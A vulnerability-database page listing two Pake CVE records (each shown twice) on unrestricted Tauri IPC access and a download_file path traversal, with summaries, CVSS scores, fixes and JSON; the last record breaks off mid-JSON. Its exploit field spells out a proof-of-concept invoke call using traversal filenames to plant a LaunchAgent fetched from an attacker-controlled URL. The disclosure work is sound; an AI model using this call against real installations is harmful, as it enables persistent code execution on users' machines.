Search

Find a vulnerability

Search criteria

    4 vulnerabilities found for Pake by tw93

    CVE-2026-96454 (GCVE-0-2026-96454)

    Vulnerability from nvd – Published: 2026-09-23 09:56 – Updated: 2026-09-23 14:01
    VLAI
    Title
    Pake grants unrestricted IPC access to every HTTPS origin loaded in generated applications
    Summary
    Pake turns a website into a desktop application built on Tauri. Every application it generates inherits two settings from the upstream template, and together they hand native functionality to untrusted web content. The first is in src-tauri/capabilities/default.json, which grants IPC access with "remote": { "urls": ["https://*.*"] }. That wildcard tells Tauri to accept IPC from any HTTPS origin, not just the site the application was built to wrap. The second is "withGlobalTauri": true in src-tauri/tauri.conf.json, which puts window.__TAURI__.core.invoke() in reach of ordinary page JavaScript. Tauri's access control list only checks plugin commands, the ones prefixed with plugin:. Commands the application registers itself through generate_handler!, known as app commands, are never checked against the ACL. So once an origin holds IPC access, it can call every app command with nothing else standing in the way. Pake registers download_file as an app command, and it does not appear in the permissions list because it does not need to. The practical effect is that any script running on any HTTPS page inside a Pake application can invoke the application's native commands. That includes third-party script the wrapped site loads on its own, such as analytics, advertising, or a compromised CDN. Anyone distributing their own Pake application gets the same access without asking for it. Chained with the path traversal in download_file that is tracked separately as CVE-2026-82635, this reaches arbitrary file write and persistent code execution.
    SSVC
    Exploitation: none Automatable: no Technical Impact: partial
    CISA Coordinator · CISA-ADP (v2.0.3)
    Decision recorded 2026-09-23 14:01 UTC
    CWE
    • CWE-862 - Missing Authorization
    • CWE-923 - Improper Restriction of Communication Channel to Intended Endpoints
    Impacted products
    Vendor Product Version
    tw93 Pake Affected: 0 , ≤ 3.17.0 (semver)
    Create a notification for this product.
    Show details on NVD website

    {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2026-96454",
                    "options": [
                      {
                        "Exploitation": "none"
                      },
                      {
                        "Automatable": "no"
                      },
                      {
                        "Technical Impact": "partial"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2026-09-23T14:01:27.089525Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-09-23T14:01:32.711Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "collectionURL": "https://registry.npmjs.org",
              "defaultStatus": "affected",
              "packageName": "pake-cli",
              "platforms": [
                "macOS",
                "Windows",
                "Linux"
              ],
              "product": "Pake",
              "programFiles": [
                "src-tauri/capabilities/default.json",
                "src-tauri/tauri.conf.json"
              ],
              "repo": "https://github.com/tw93/Pake",
              "vendor": "tw93",
              "versions": [
                {
                  "lessThanOrEqual": "3.17.0",
                  "status": "affected",
                  "version": "0",
                  "versionType": "semver"
                }
              ]
            }
          ],
          "credits": [
            {
              "lang": "en",
              "type": "finder",
              "value": "Yuval Moravchick | JFrog"
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003ePake turns a website into a desktop application built on Tauri. Every application it generates inherits two settings from the upstream template, and together they hand native functionality to untrusted web content.\u003c/p\u003e\u003cp\u003eThe first is in src-tauri/capabilities/default.json, which grants IPC access with \"remote\": { \"urls\": [\"https://*.*\"] }. That wildcard tells Tauri to accept IPC from any HTTPS origin, not just the site the application was built to wrap. The second is \"withGlobalTauri\": true in src-tauri/tauri.conf.json, which puts window.__TAURI__.core.invoke() in reach of ordinary page JavaScript.\u003c/p\u003e\u003cp\u003eTauri\u0027s access control list only checks plugin commands, the ones prefixed with plugin:. Commands the application registers itself through generate_handler!, known as app commands, are never checked against the ACL. So once an origin holds IPC access, it can call every app command with nothing else standing in the way. Pake registers download_file as an app command, and it does not appear in the permissions list because it does not need to.\u003c/p\u003e\u003cp\u003eThe practical effect is that any script running on any HTTPS page inside a Pake application can invoke the application\u0027s native commands. That includes third-party script the wrapped site loads on its own, such as analytics, advertising, or a compromised CDN. Anyone distributing their own Pake application gets the same access without asking for it. Chained with the path traversal in download_file that is tracked separately as CVE-2026-82635, this reaches arbitrary file write and persistent code execution.\u003c/p\u003e"
                }
              ],
              "value": "Pake turns a website into a desktop application built on Tauri. Every application it generates inherits two settings from the upstream template, and together they hand native functionality to untrusted web content.\n\n\n\nThe first is in src-tauri/capabilities/default.json, which grants IPC access with \"remote\": { \"urls\": [\"https://*.*\"] }. That wildcard tells Tauri to accept IPC from any HTTPS origin, not just the site the application was built to wrap. The second is \"withGlobalTauri\": true in src-tauri/tauri.conf.json, which puts window.__TAURI__.core.invoke() in reach of ordinary page JavaScript.\n\n\n\nTauri\u0027s access control list only checks plugin commands, the ones prefixed with plugin:. Commands the application registers itself through generate_handler!, known as app commands, are never checked against the ACL. So once an origin holds IPC access, it can call every app command with nothing else standing in the way. Pake registers download_file as an app command, and it does not appear in the permissions list because it does not need to.\n\n\n\nThe practical effect is that any script running on any HTTPS page inside a Pake application can invoke the application\u0027s native commands. That includes third-party script the wrapped site loads on its own, such as analytics, advertising, or a compromised CDN. Anyone distributing their own Pake application gets the same access without asking for it. Chained with the path traversal in download_file that is tracked separately as CVE-2026-82635, this reaches arbitrary file write and persistent code execution."
            }
          ],
          "exploits": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003eJFrog holds a private proof of concept. Reproduction is deterministic and affects every application Pake generates. Full exploit details are not included in this record.\u003c/p\u003e"
                }
              ],
              "value": "JFrog holds a private proof of concept. Reproduction is deterministic and affects every application Pake generates. Full exploit details are not included in this record."
            }
          ],
          "metrics": [
            {
              "cvssV3_1": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 8.2,
                "baseSeverity": "HIGH",
                "confidentialityImpact": "LOW",
                "integrityImpact": "HIGH",
                "privilegesRequired": "NONE",
                "scope": "CHANGED",
                "userInteraction": "REQUIRED",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:N",
                "version": "3.1"
              },
              "format": "CVSS",
              "scenarios": [
                {
                  "lang": "en",
                  "value": "GENERAL"
                }
              ]
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-862",
                  "description": "CWE-862 Missing Authorization",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            },
            {
              "descriptions": [
                {
                  "cweId": "CWE-923",
                  "description": "CWE-923 Improper Restriction of Communication Channel to Intended Endpoints",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-09-23T09:56:32.668Z",
            "orgId": "48a46f29-ae42-4e1d-90dd-c1676c1e5e6d",
            "shortName": "JFROG"
          },
          "references": [
            {
              "name": "Pake",
              "tags": [
                "product"
              ],
              "url": "https://github.com/tw93/Pake"
            },
            {
              "name": "Pake capabilities/default.json - wildcard remote.urls grant",
              "tags": [
                "product"
              ],
              "url": "https://github.com/tw93/Pake/blob/main/src-tauri/capabilities/default.json"
            },
            {
              "name": "Pake tauri.conf.json - withGlobalTauri enabled",
              "tags": [
                "product"
              ],
              "url": "https://github.com/tw93/Pake/blob/main/src-tauri/tauri.conf.json"
            },
            {
              "name": "Tauri v2 capabilities and remote origin access",
              "tags": [
                "technical-description"
              ],
              "url": "https://v2.tauri.app/security/capabilities/"
            },
            {
              "name": "Pake V3.17.0 - latest release, still affected",
              "tags": [
                "release-notes"
              ],
              "url": "https://github.com/tw93/Pake/releases/tag/V3.17.0"
            }
          ],
          "source": {
            "discovery": "EXTERNAL"
          },
          "title": "Pake grants unrestricted IPC access to every HTTPS origin loaded in generated applications",
          "x_generator": {
            "engine": "Vulnogram 1.0.4"
          }
        }
      },
      "cveMetadata": {
        "assignerOrgId": "48a46f29-ae42-4e1d-90dd-c1676c1e5e6d",
        "assignerShortName": "JFROG",
        "cveId": "CVE-2026-96454",
        "datePublished": "2026-09-23T09:56:32.668Z",
        "dateReserved": "2026-09-23T09:53:06.527Z",
        "dateUpdated": "2026-09-23T14:01:32.711Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }

    CVE-2026-82635 (GCVE-0-2026-82635)

    Vulnerability from nvd – Published: 2026-08-30 12:26 – Updated: 2026-08-31 16:58
    VLAI
    Title
    Pake arbitrary file write via unsanitized download_file filename
    Summary
    Pake before 3.13.1 joins the JavaScript-supplied filename for the download_file Tauri command onto the user's Downloads directory with no sanitization. A filename containing path traversal sequences (for example ../Library/LaunchAgents/com.evil.plist) or an absolute path resolves outside ~/Downloads. The command then fetches attacker-controlled content from the supplied URL (via Rust HTTP, not the browser) and writes it to that path. A script that can invoke the command can overwrite user-writable files and install persistence (macOS LaunchAgents, Linux autostart, Windows Startup), leading to code execution in the user account. All desktop apps generated from an affected Pake tree expose the same command.
    SSVC
    Exploitation: none Automatable: no Technical Impact: total
    CISA Coordinator · CISA-ADP (v2.0.3)
    Decision recorded 2026-08-31 16:58 UTC
    CWE
    • CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
    Impacted products
    Vendor Product Version
    tw93 Pake Affected: 0 , < 3.13.1 (semver)
    Create a notification for this product.
    Show details on NVD website

    {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2026-82635",
                    "options": [
                      {
                        "Exploitation": "none"
                      },
                      {
                        "Automatable": "no"
                      },
                      {
                        "Technical Impact": "total"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2026-08-31T16:58:34.725075Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-08-31T16:58:51.598Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "collectionURL": "https://github.com/tw93/Pake",
              "defaultStatus": "unaffected",
              "modules": [
                "download_file"
              ],
              "product": "Pake",
              "programFiles": [
                "src-tauri/src/app/invoke.rs",
                "src-tauri/src/util.rs"
              ],
              "repo": "git://github.com/tw93/Pake",
              "vendor": "tw93",
              "versions": [
                {
                  "lessThan": "3.13.1",
                  "status": "affected",
                  "version": "0",
                  "versionType": "semver"
                }
              ]
            }
          ],
          "configurations": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003eAffects Pake-generated desktop apps built from a tree before 3.13.1. Exploitation requires the ability to call the download_file Tauri command from the webview. The 8.8 / AV:N score assumes that capability is reachable from the wrapped page (including remote origins), which is the default Pake IPC posture described in the related IPC advisory. Opening the app is the required user interaction. V3.12.0 still joins params.filename unsanitized; V3.13.1 calls sanitize_download_filename.\u003c/p\u003e"
                }
              ],
              "value": "Affects Pake-generated desktop apps built from a tree before 3.13.1. Exploitation requires the ability to call the download_file Tauri command from the webview. The 8.8 / AV:N score assumes that capability is reachable from the wrapped page (including remote origins), which is the default Pake IPC posture described in the related IPC advisory. Opening the app is the required user interaction. V3.12.0 still joins params.filename unsanitized; V3.13.1 calls sanitize_download_filename."
            }
          ],
          "credits": [
            {
              "lang": "en",
              "type": "finder",
              "value": "Yuval Moravchick"
            },
            {
              "lang": "en",
              "type": "coordinator",
              "value": "JFrog Security Research"
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003ePake before 3.13.1 joins the JavaScript-supplied filename for the download_file Tauri command onto the user\u0027s Downloads directory with no sanitization. A filename containing path traversal sequences (for example ../Library/LaunchAgents/com.evil.plist) or an absolute path resolves outside ~/Downloads. The command then fetches attacker-controlled content from the supplied URL (via Rust HTTP, not the browser) and writes it to that path. A script that can invoke the command can overwrite user-writable files and install persistence (macOS LaunchAgents, Linux autostart, Windows Startup), leading to code execution in the user account. All desktop apps generated from an affected Pake tree expose the same command.\u003c/p\u003e"
                }
              ],
              "value": "Pake before 3.13.1 joins the JavaScript-supplied filename for the download_file Tauri command onto the user\u0027s Downloads directory with no sanitization. A filename containing path traversal sequences (for example ../Library/LaunchAgents/com.evil.plist) or an absolute path resolves outside ~/Downloads. The command then fetches attacker-controlled content from the supplied URL (via Rust HTTP, not the browser) and writes it to that path. A script that can invoke the command can overwrite user-writable files and install persistence (macOS LaunchAgents, Linux autostart, Windows Startup), leading to code execution in the user account. All desktop apps generated from an affected Pake tree expose the same command."
            }
          ],
          "exploits": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003eA proof of concept invokes window.__TAURI__.core.invoke(\u0027download_file\u0027, { params: { url: \u0027\u0026lt;attacker-controlled HTTP URL\u0026gt;\u0027, filename: \u0027../pake_write_proof.sh\u0027 } }) and a second invoke with filename \u0027../Library/LaunchAgents/com.pake.poc.plist\u0027. The files appear under the user home directory, not ~/Downloads. Loading the LaunchAgent (or the next login) runs the fetched payload in the user session.\u003c/p\u003e"
                }
              ],
              "value": "A proof of concept invokes window.__TAURI__.core.invoke(\u0027download_file\u0027, { params: { url: \u0027\u003cattacker-controlled HTTP URL\u003e\u0027, filename: \u0027../pake_write_proof.sh\u0027 } }) and a second invoke with filename \u0027../Library/LaunchAgents/com.pake.poc.plist\u0027. The files appear under the user home directory, not ~/Downloads. Loading the LaunchAgent (or the next login) runs the fetched payload in the user session."
            }
          ],
          "impacts": [
            {
              "capecId": "CAPEC-126",
              "descriptions": [
                {
                  "lang": "en",
                  "value": "CAPEC-126 Path Traversal"
                }
              ]
            },
            {
              "capecId": "CAPEC-165",
              "descriptions": [
                {
                  "lang": "en",
                  "value": "CAPEC-165 File Manipulation"
                }
              ]
            },
            {
              "capecId": "CAPEC-17",
              "descriptions": [
                {
                  "lang": "en",
                  "value": "CAPEC-17 Using Malicious Files"
                }
              ]
            }
          ],
          "metrics": [
            {
              "cvssV3_1": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "HIGH",
                "baseScore": 8.8,
                "baseSeverity": "HIGH",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "HIGH",
                "privilegesRequired": "NONE",
                "scope": "UNCHANGED",
                "userInteraction": "REQUIRED",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
                "version": "3.1"
              },
              "format": "CVSS",
              "scenarios": [
                {
                  "lang": "en",
                  "value": "GENERAL"
                }
              ]
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-22",
                  "description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-08-30T12:26:16.770Z",
            "orgId": "48a46f29-ae42-4e1d-90dd-c1676c1e5e6d",
            "shortName": "JFROG"
          },
          "references": [
            {
              "name": "Fix: sanitize download filenames (basename only)",
              "tags": [
                "patch"
              ],
              "url": "https://github.com/tw93/Pake/commit/a5463a84d6e36705ee0dd1886cf0e4b5a75b0ab4"
            },
            {
              "name": "Pake V3.13.1 release (first tag containing the fix)",
              "tags": [
                "vendor-advisory"
              ],
              "url": "https://github.com/tw93/Pake/releases/tag/V3.13.1"
            },
            {
              "name": "Pake repository",
              "tags": [
                "product"
              ],
              "url": "https://github.com/tw93/Pake"
            }
          ],
          "solutions": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003eUpgrade Pake to 3.13.1 or later and rebuild generated apps from that tree. The fix introduces sanitize_download_filename and uses only the final path segment before joining onto the Downloads directory, so ../ and absolute paths cannot escape that directory.\u003c/p\u003e"
                }
              ],
              "value": "Upgrade Pake to 3.13.1 or later and rebuild generated apps from that tree. The fix introduces sanitize_download_filename and uses only the final path segment before joining onto the Downloads directory, so ../ and absolute paths cannot escape that directory."
            }
          ],
          "source": {
            "discovery": "EXTERNAL"
          },
          "timeline": [
            {
              "lang": "en",
              "time": "2026-06-24T00:00:00.000Z",
              "value": "Vulnerability reported to maintainers"
            },
            {
              "lang": "en",
              "time": "2026-07-03T12:51:00.000Z",
              "value": "Fix committed upstream (sanitize download filenames)"
            },
            {
              "lang": "en",
              "time": "2026-07-04T15:30:00.000Z",
              "value": "Fix first shipped in Pake V3.13.1"
            }
          ],
          "title": "Pake arbitrary file write via unsanitized download_file filename",
          "x_generator": {
            "engine": "Vulnogram 1.0.5"
          }
        }
      },
      "cveMetadata": {
        "assignerOrgId": "48a46f29-ae42-4e1d-90dd-c1676c1e5e6d",
        "assignerShortName": "JFROG",
        "cveId": "CVE-2026-82635",
        "datePublished": "2026-08-30T12:26:16.770Z",
        "dateReserved": "2026-08-30T12:09:20.896Z",
        "dateUpdated": "2026-08-31T16:58:51.598Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }

    CVE-2026-96454 (GCVE-0-2026-96454)

    Vulnerability from cvelistv5 – Published: 2026-09-23 09:56 – Updated: 2026-09-23 14:01
    VLAI
    Title
    Pake grants unrestricted IPC access to every HTTPS origin loaded in generated applications
    Summary
    Pake turns a website into a desktop application built on Tauri. Every application it generates inherits two settings from the upstream template, and together they hand native functionality to untrusted web content. The first is in src-tauri/capabilities/default.json, which grants IPC access with "remote": { "urls": ["https://*.*"] }. That wildcard tells Tauri to accept IPC from any HTTPS origin, not just the site the application was built to wrap. The second is "withGlobalTauri": true in src-tauri/tauri.conf.json, which puts window.__TAURI__.core.invoke() in reach of ordinary page JavaScript. Tauri's access control list only checks plugin commands, the ones prefixed with plugin:. Commands the application registers itself through generate_handler!, known as app commands, are never checked against the ACL. So once an origin holds IPC access, it can call every app command with nothing else standing in the way. Pake registers download_file as an app command, and it does not appear in the permissions list because it does not need to. The practical effect is that any script running on any HTTPS page inside a Pake application can invoke the application's native commands. That includes third-party script the wrapped site loads on its own, such as analytics, advertising, or a compromised CDN. Anyone distributing their own Pake application gets the same access without asking for it. Chained with the path traversal in download_file that is tracked separately as CVE-2026-82635, this reaches arbitrary file write and persistent code execution.
    SSVC
    Exploitation: none Automatable: no Technical Impact: partial
    CISA Coordinator · CISA-ADP (v2.0.3)
    Decision recorded 2026-09-23 14:01 UTC
    CWE
    • CWE-862 - Missing Authorization
    • CWE-923 - Improper Restriction of Communication Channel to Intended Endpoints
    Impacted products
    Vendor Product Version
    tw93 Pake Affected: 0 , ≤ 3.17.0 (semver)
    Create a notification for this product.
    Show details on NVD website

    {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2026-96454",
                    "options": [
                      {
                        "Exploitation": "none"
                      },
                      {
                        "Automatable": "no"
                      },
                      {
                        "Technical Impact": "partial"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2026-09-23T14:01:27.089525Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-09-23T14:01:32.711Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "collectionURL": "https://registry.npmjs.org",
              "defaultStatus": "affected",
              "packageName": "pake-cli",
              "platforms": [
                "macOS",
                "Windows",
                "Linux"
              ],
              "product": "Pake",
              "programFiles": [
                "src-tauri/capabilities/default.json",
                "src-tauri/tauri.conf.json"
              ],
              "repo": "https://github.com/tw93/Pake",
              "vendor": "tw93",
              "versions": [
                {
                  "lessThanOrEqual": "3.17.0",
                  "status": "affected",
                  "version": "0",
                  "versionType": "semver"
                }
              ]
            }
          ],
          "credits": [
            {
              "lang": "en",
              "type": "finder",
              "value": "Yuval Moravchick | JFrog"
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003ePake turns a website into a desktop application built on Tauri. Every application it generates inherits two settings from the upstream template, and together they hand native functionality to untrusted web content.\u003c/p\u003e\u003cp\u003eThe first is in src-tauri/capabilities/default.json, which grants IPC access with \"remote\": { \"urls\": [\"https://*.*\"] }. That wildcard tells Tauri to accept IPC from any HTTPS origin, not just the site the application was built to wrap. The second is \"withGlobalTauri\": true in src-tauri/tauri.conf.json, which puts window.__TAURI__.core.invoke() in reach of ordinary page JavaScript.\u003c/p\u003e\u003cp\u003eTauri\u0027s access control list only checks plugin commands, the ones prefixed with plugin:. Commands the application registers itself through generate_handler!, known as app commands, are never checked against the ACL. So once an origin holds IPC access, it can call every app command with nothing else standing in the way. Pake registers download_file as an app command, and it does not appear in the permissions list because it does not need to.\u003c/p\u003e\u003cp\u003eThe practical effect is that any script running on any HTTPS page inside a Pake application can invoke the application\u0027s native commands. That includes third-party script the wrapped site loads on its own, such as analytics, advertising, or a compromised CDN. Anyone distributing their own Pake application gets the same access without asking for it. Chained with the path traversal in download_file that is tracked separately as CVE-2026-82635, this reaches arbitrary file write and persistent code execution.\u003c/p\u003e"
                }
              ],
              "value": "Pake turns a website into a desktop application built on Tauri. Every application it generates inherits two settings from the upstream template, and together they hand native functionality to untrusted web content.\n\n\n\nThe first is in src-tauri/capabilities/default.json, which grants IPC access with \"remote\": { \"urls\": [\"https://*.*\"] }. That wildcard tells Tauri to accept IPC from any HTTPS origin, not just the site the application was built to wrap. The second is \"withGlobalTauri\": true in src-tauri/tauri.conf.json, which puts window.__TAURI__.core.invoke() in reach of ordinary page JavaScript.\n\n\n\nTauri\u0027s access control list only checks plugin commands, the ones prefixed with plugin:. Commands the application registers itself through generate_handler!, known as app commands, are never checked against the ACL. So once an origin holds IPC access, it can call every app command with nothing else standing in the way. Pake registers download_file as an app command, and it does not appear in the permissions list because it does not need to.\n\n\n\nThe practical effect is that any script running on any HTTPS page inside a Pake application can invoke the application\u0027s native commands. That includes third-party script the wrapped site loads on its own, such as analytics, advertising, or a compromised CDN. Anyone distributing their own Pake application gets the same access without asking for it. Chained with the path traversal in download_file that is tracked separately as CVE-2026-82635, this reaches arbitrary file write and persistent code execution."
            }
          ],
          "exploits": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003eJFrog holds a private proof of concept. Reproduction is deterministic and affects every application Pake generates. Full exploit details are not included in this record.\u003c/p\u003e"
                }
              ],
              "value": "JFrog holds a private proof of concept. Reproduction is deterministic and affects every application Pake generates. Full exploit details are not included in this record."
            }
          ],
          "metrics": [
            {
              "cvssV3_1": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 8.2,
                "baseSeverity": "HIGH",
                "confidentialityImpact": "LOW",
                "integrityImpact": "HIGH",
                "privilegesRequired": "NONE",
                "scope": "CHANGED",
                "userInteraction": "REQUIRED",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:N",
                "version": "3.1"
              },
              "format": "CVSS",
              "scenarios": [
                {
                  "lang": "en",
                  "value": "GENERAL"
                }
              ]
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-862",
                  "description": "CWE-862 Missing Authorization",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            },
            {
              "descriptions": [
                {
                  "cweId": "CWE-923",
                  "description": "CWE-923 Improper Restriction of Communication Channel to Intended Endpoints",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-09-23T09:56:32.668Z",
            "orgId": "48a46f29-ae42-4e1d-90dd-c1676c1e5e6d",
            "shortName": "JFROG"
          },
          "references": [
            {
              "name": "Pake",
              "tags": [
                "product"
              ],
              "url": "https://github.com/tw93/Pake"
            },
            {
              "name": "Pake capabilities/default.json - wildcard remote.urls grant",
              "tags": [
                "product"
              ],
              "url": "https://github.com/tw93/Pake/blob/main/src-tauri/capabilities/default.json"
            },
            {
              "name": "Pake tauri.conf.json - withGlobalTauri enabled",
              "tags": [
                "product"
              ],
              "url": "https://github.com/tw93/Pake/blob/main/src-tauri/tauri.conf.json"
            },
            {
              "name": "Tauri v2 capabilities and remote origin access",
              "tags": [
                "technical-description"
              ],
              "url": "https://v2.tauri.app/security/capabilities/"
            },
            {
              "name": "Pake V3.17.0 - latest release, still affected",
              "tags": [
                "release-notes"
              ],
              "url": "https://github.com/tw93/Pake/releases/tag/V3.17.0"
            }
          ],
          "source": {
            "discovery": "EXTERNAL"
          },
          "title": "Pake grants unrestricted IPC access to every HTTPS origin loaded in generated applications",
          "x_generator": {
            "engine": "Vulnogram 1.0.4"
          }
        }
      },
      "cveMetadata": {
        "assignerOrgId": "48a46f29-ae42-4e1d-90dd-c1676c1e5e6d",
        "assignerShortName": "JFROG",
        "cveId": "CVE-2026-96454",
        "datePublished": "2026-09-23T09:56:32.668Z",
        "dateReserved": "2026-09-23T09:53:06.527Z",
        "dateUpdated": "2026-09-23T14:01:32.711Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }

    CVE-2026-82635 (GCVE-0-2026-82635)

    Vulnerability from cvelistv5 – Published: 2026-08-30 12:26 – Updated: 2026-08-31 16:58
    VLAI
    Title
    Pake arbitrary file write via unsanitized download_file filename
    Summary
    Pake before 3.13.1 joins the JavaScript-supplied filename for the download_file Tauri command onto the user's Downloads directory with no sanitization. A filename containing path traversal sequences (for example ../Library/LaunchAgents/com.evil.plist) or an absolute path resolves outside ~/Downloads. The command then fetches attacker-controlled content from the supplied URL (via Rust HTTP, not the browser) and writes it to that path. A script that can invoke the command can overwrite user-writable files and install persistence (macOS LaunchAgents, Linux autostart, Windows Startup), leading to code execution in the user account. All desktop apps generated from an affected Pake tree expose the same command.
    SSVC
    Exploitation: none Automatable: no Technical Impact: total
    CISA Coordinator · CISA-ADP (v2.0.3)
    Decision recorded 2026-08-31 16:58 UTC
    CWE
    • CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
    Impacted products
    Vendor Product Version
    tw93 Pake Affected: 0 , < 3.13.1 (semver)
    Create a notification for this product.
    Show details on NVD website

    {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2026-82635",
                    "options": [
                      {
                        "Exploitation": "none"
                      },
                      {
                        "Automatable": "no"
                      },
                      {
                        "Technical Impact": "total"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2026-08-31T16:58:34.725075Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-08-31T16:58:51.598Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "collectionURL": "https://github.com/tw93/Pake",
              "defaultStatus": "unaffected",
              "modules": [
                "download_file"
              ],
              "product": "Pake",
              "programFiles": [
                "src-tauri/src/app/invoke.rs",
                "src-tauri/src/util.rs"
              ],
              "repo": "git://github.com/tw93/Pake",
              "vendor": "tw93",
              "versions": [
                {
                  "lessThan": "3.13.1",
                  "status": "affected",
                  "version": "0",
                  "versionType": "semver"
                }
              ]
            }
          ],
          "configurations": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003eAffects Pake-generated desktop apps built from a tree before 3.13.1. Exploitation requires the ability to call the download_file Tauri command from the webview. The 8.8 / AV:N score assumes that capability is reachable from the wrapped page (including remote origins), which is the default Pake IPC posture described in the related IPC advisory. Opening the app is the required user interaction. V3.12.0 still joins params.filename unsanitized; V3.13.1 calls sanitize_download_filename.\u003c/p\u003e"
                }
              ],
              "value": "Affects Pake-generated desktop apps built from a tree before 3.13.1. Exploitation requires the ability to call the download_file Tauri command from the webview. The 8.8 / AV:N score assumes that capability is reachable from the wrapped page (including remote origins), which is the default Pake IPC posture described in the related IPC advisory. Opening the app is the required user interaction. V3.12.0 still joins params.filename unsanitized; V3.13.1 calls sanitize_download_filename."
            }
          ],
          "credits": [
            {
              "lang": "en",
              "type": "finder",
              "value": "Yuval Moravchick"
            },
            {
              "lang": "en",
              "type": "coordinator",
              "value": "JFrog Security Research"
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003ePake before 3.13.1 joins the JavaScript-supplied filename for the download_file Tauri command onto the user\u0027s Downloads directory with no sanitization. A filename containing path traversal sequences (for example ../Library/LaunchAgents/com.evil.plist) or an absolute path resolves outside ~/Downloads. The command then fetches attacker-controlled content from the supplied URL (via Rust HTTP, not the browser) and writes it to that path. A script that can invoke the command can overwrite user-writable files and install persistence (macOS LaunchAgents, Linux autostart, Windows Startup), leading to code execution in the user account. All desktop apps generated from an affected Pake tree expose the same command.\u003c/p\u003e"
                }
              ],
